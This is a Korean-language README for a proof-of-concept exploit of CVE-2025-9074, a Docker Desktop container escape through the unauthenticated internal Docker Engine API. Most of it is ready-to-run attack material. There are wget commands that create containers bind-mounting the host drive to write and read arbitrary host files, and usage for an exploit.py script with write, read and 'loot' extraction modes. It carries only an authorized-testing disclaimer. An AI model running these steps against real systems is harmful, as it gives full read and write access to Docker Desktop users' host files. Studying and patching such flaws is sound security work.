
CVE-2025-9074에 대한 PoC 익스플로잇으로, 인증되지 않은 내부 Docker Engine API를 통해 Windows 및 macOS에서 전체 Docker Desktop 컨테이너 이스케이프를 시연합니다.
Docker Desktop은 내부 Docker Engine API를 http://192.168.65.7:2375 에 노출하며, 인증 및 접근 제어 없이 실행 중인 모든 컨테이너가 접근할 수 있습니다.
엔진 자체가 호스트 파일시스템을 마운트할 수 있기 때문에, 컨테이너는 이 API를 호출하여 호스트 드라이브를 바인드 마운트하는 새 컨테이너를 생성하고, 그 컨테이너를 통해 호스트 파일을 임의로 읽고 쓸 수 있습니다 — 완전한 컨테이너-호스트 탈출입니다.
http://192.168.65.7:2375 의 Docker Engine API에 연결합니다. 자격 증명이 필요하지 않습니다.Binds: ["/mnt/host:/host_root"] 를 포함한 POST /containers/create 를 보내 새 컨테이너에 호스트 드라이브를 마운트합니다. Docker VM 내부에서 호스트 파일시스템은 /mnt/host 에 노출됩니다 (예: Windows C: 드라이브는 /mnt/host/c).POST /containers/{id}/start 가 바인드 마운트를 활성화하여 호스트에 완전히 접근할 수 있게 합니다.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... 는 모든 호스트 경로를 TAR 아카이브로 스트리밍합니다. 셸이 필요하지 않습니다.읽기 데모의 대상을 위해 C:\test\readme.txt 에 샘플 내용을 생성합니다.

docker run -it --rm alpine /bin/sh
아래의 모든 수동 단계는 이 컨테이너 내부에서 실행됩니다 (alpine에는 wget이 포함되어 있습니다).
명령을 간결하게 유지하기 위해 API용 셸 변수를 설정합니다:
API=http://192.168.65.7:2375
목표: 컨테이너 내부에서 호스트에 C:\test\pwn.txt 생성.
# 1. 호스트 C: 드라이브를 마운트하고 파일을 쓰는 컨테이너를 생성합니다.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. JSON 응답에서 새 컨테이너 ID를 추출합니다.
cid=$(cut -d'"' -f4 create.json)
# 3. 시작합니다. 명령이 실행되어 호스트에 파일을 씁니다.
wget -q -O - --post-data='' $API/containers/$cid/start
발생한 일:
Binds: /mnt/host:/host_root 가 호스트 드라이브를 새 컨테이너에 마운트합니다.C:\test\pwn.txt (/host_root/c/test/pwn.txt)에 pwned를 씁니다.예상 결과: 호스트에 C:\test\pwn.txt 가 생성됩니다.

목표: 컨테이너 내부에서 호스트의 C:\test\readme.txt 읽기.
# 1. 호스트 드라이브를 마운트한 컨테이너를 생성 + 시작합니다 (잠시 유지).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. 엔진에 호스트 디렉터리의 TAR 아카이브를 요청한 후 추출합니다.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
발생한 일:
GET /containers/{id}/archive?path=... 는 모든 호스트 경로를 TAR로 스트리밍합니다. 셸이 필요 없습니다.예상 결과: C:\test\readme.txt 의 내용이 출력됩니다.

exploit.pyexploit.py 는 두 흐름을 자동화합니다. Python 표준 라이브러리만 사용하며, 호스트 마운트(Windows /mnt/host/c vs macOS/Linux /)를 자동 감지하고 기본 호스트 경로를 변환해 줍니다.
내부 API(
192.168.65.7:2375)는 컨테이너 내부에서만 접근 가능하므로, Python이 있는 컨테이너에서 스크립트를 실행하세요:
# 호스트의 리포지토리 디렉터리에서 실행:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
Windows PowerShell에서는 -v "${PWD}:/x"를, cmd.exe에서는 -v "%cd%:/x"를 사용하세요.
python /x/exploit.py info
API에 핑을 보내고 호스트 OS를 감지하며 최상위 호스트 마운트 항목을 나열합니다.
# Windows 호스트
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux 호스트 (또는 stdin을 통해 내용 파이프)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# stdout으로 출력
python /x/exploit.py read 'C:\test\readme.txt'
# 또는 ./loot 디렉터리로 (파일 또는 전체 디렉터리) 추출
python /x/exploit.py read 'C:\test' --out ./loot
| 플래그 | 용도 |
|---|---|
--api URL | API 엔드포인트 재정의 (기본값 http://192.168.65.7:2375) |
--image NAME | 익스플로잇 컨테이너 이미지 (기본값 alpine, 없으면 자동으로 풀) |
--vm-mount PATH | 자동 감지를 건너뛰고 VM 내 호스트 마운트를 강제 지정 (예: /mnt/host 또는 /) |
이 PoC는 공인된 테스트, 교육 및 연구 목적으로만 사용됩니다. 저자는 오용에 대한 책임을 지지 않습니다. 소유하거나 테스트가 허가된 시스템에서만 실행하세요.
이 PoC와 README는 Felix Boulet 의 연구에서 파생되었습니다. 원래 발견 및 분석에 대한 모든 공로는 원저자에게 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.